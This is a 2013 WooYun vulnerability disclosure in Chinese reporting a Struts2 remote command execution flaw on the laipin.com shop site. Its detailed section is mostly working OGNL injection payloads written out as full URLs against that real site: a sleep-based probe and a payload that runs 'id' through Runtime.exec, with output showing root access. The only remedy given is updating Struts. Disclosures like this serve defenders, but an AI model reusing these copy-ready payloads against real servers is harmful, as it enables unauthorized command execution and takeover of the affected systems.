漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-025659
漏洞标题：来品网站存在structs漏洞
相关厂商：来品网
漏洞作者： 会玩电脑的猪
提交时间：2013-06-12 18:06
修复时间：2013-07-27 18:07
公开时间：2013-07-27 18:07
漏洞类型：命令执行
危害等级：中
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-06-12： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-07-27： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
由于structs未及时打补丁，导致以系统权限远程执行任意命令
详细说明：
http://www.laipin.com/ 来品网
该网站采用structs2 +xworks制作。
由于该站点的structs2框架未及时更新，存在远程代码执行漏洞。
找到后缀为.action的链接：
http://www.laipin.com/shop/goods!keySearch.action
然后访问如下链接,让当前线程挂起8s：
http://www.laipin.com/shop/goods!keySearch.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(8000)')(d))
发现网页约8s后返回，证明存在执行漏洞.
漏洞证明：
访问如下代码：
http://www.laipin.com/shop/goods!keySearch.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'id\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
网页回显如下：
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
root权限，还有什么不能做？
修复方案：
及时更新java structs框架。
版权声明：转载请注明来源 会玩电脑的猪@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝